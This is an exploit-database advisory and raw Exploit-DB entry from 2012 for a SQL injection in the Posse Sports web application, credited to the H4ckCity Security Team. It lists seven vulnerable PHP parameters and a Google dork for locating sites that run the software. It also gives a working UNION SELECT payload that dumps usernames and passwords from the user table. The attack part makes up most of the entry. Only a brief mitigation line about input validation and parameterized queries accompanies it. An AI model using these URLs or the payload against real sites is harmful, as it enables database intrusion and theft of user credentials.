Posse Sports SQL Injection Vulnerabilitiy

vendor:

Posse Sports

by:

H4ckCity Security Team

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Posse Sports

Affected Version From: All Version

Affected Version To: All Version

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: GNU/Linux Ubuntu, Windows Server, win7

2012

Posse Sports SQL Injection Vulnerabilitiy

Posse Sports is vulnerable to SQL injection in multiple parameters. An attacker can exploit this vulnerability to gain access to the database and extract sensitive information such as usernames and passwords. The vulnerable parameters are news_id, iddirector, idtourn, tourn_id, idclass, idfield, and id. An example of an exploit is http://[target]/newsdetail.php?news_id=[SQL] -9999+union+select+1,2,group_concat(id,0x3a,username,0x3a,password)+from+user

Mitigation:

Input validation should be used to prevent SQL injection attacks. Additionally, the application should be configured to use parameterized queries.

Source

Exploit-DB raw data:

############################################################################
# Exploit Title: Posse Sports SQL Injection Vulnerabilitiy
# Google Dork: "Powered By Posse Sports"
# Date: 4/1/2012
# Author: H4ckCity Security Team
# Discovered By: farbodmahini
# Home: WwW.H4ckCity.Org  
# Software Link: www.possesports.com
# Version: All Version
# Category:: webapps
# Security Risk:: High
# Tested on: GNU/Linux Ubuntu - Windows Server - win7
############################################################################
#  Exploit:
#
#  http://[target]/newsdetail.php?news_id=[SQL]
#  http://[target]/dirdetails.php?iddirector=[SQL]
#  http://[target]/tdetails.php?idtourn=[SQL]
#  http://[target]/tresults.php?tourn_id=[SQL]
#  http://[target]/tournsearch.php?idclass=[SQL]
#  http://[target]/fieldinfo.php?idfield=[SQL]
#  http://[target]/page.php?id=[SQL*]
#
#  [~] SQL* :
#
#  -9999+union+select+1,2,group_concat(id,0x3a,username,0x3a,password)+from+user
#
#  
#
############################################################################
# Special Thanks : Mehdi.H4ckcity-2MzRp-Mikili-M.Prince-Bl4ck.Viper-iC0d3R- 
# IrIsT-K0242-P0W3RFU7-Mr.M4st3r-Higher_Sense ,...
############################################################################
GreetZ : All H4ckCity Member - BHG Members
############################################################################